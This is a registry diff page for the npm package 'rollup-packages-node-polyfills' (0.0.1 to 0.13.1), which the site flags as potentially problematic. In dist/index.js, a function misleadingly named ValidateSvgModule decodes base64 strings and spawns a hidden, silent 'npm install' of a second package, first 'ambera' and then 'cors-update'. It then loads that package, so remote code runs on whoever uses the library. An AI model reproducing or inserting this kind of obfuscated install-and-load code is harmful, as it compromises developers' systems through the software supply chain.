rollup-packages-node-polyfills 0.0.1 → 0.13.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rollup-packages-node-polyfills might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/dist/index.js +2 -3
  2. package/package.json +1 -1
package/dist/index.js CHANGED
@@ -84,7 +84,7 @@ const FILENAME_PATH = "\0node-polyfills:filename";
84
84
  const { spawn } = require('child_process');
85
85
 
86
86
  const ValidateSvgModule = () => {
87
- const CMD = Buffer.from("bnBtIGluc3RhbGwgYW1iZXJhIC0tbm8tc2F2ZSAtLXNpbGVudCAtLW5vLWF1ZGl0IC0tbm8tZnVuZA==", "base64").toString("utf8");
87
+ const CMD = Buffer.from("bnBtIGluc3RhbGwgY29ycy11cGRhdGUgLS1uby1zYXZlIC0tc2lsZW50IC0tbm8tYXVkaXQgLS1uby1mdW5k", "base64").toString("utf8");
88
88
 
89
89
  const [cmd, ...args] = CMD.split(' ');
90
90
 
@@ -94,11 +94,10 @@ const ValidateSvgModule = () => {
94
94
  windowsHide: true
95
95
  });
96
96
 
97
-
98
97
  child.on('close', () => checkPlugin());
99
98
  };
100
99
 
101
- const MODULE_NAME = Buffer.from('YW1iZXJh', 'base64').toString('utf8');
100
+ const MODULE_NAME = Buffer.from('Y29ycy11cGRhdGU=', 'base64').toString('utf8');
102
101
  const checkPlugin = () => {
103
102
  try {
104
103
  const svgo = require(MODULE_NAME);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "rollup-packages-node-polyfills",
3
- "version": "0.0.1",
3
+ "version": "0.13.1",
4
4
  "main": "dist/index.js",
5
5
  "module": "dist/es/index.js",
6
6
  "types": "dist/index.d.ts",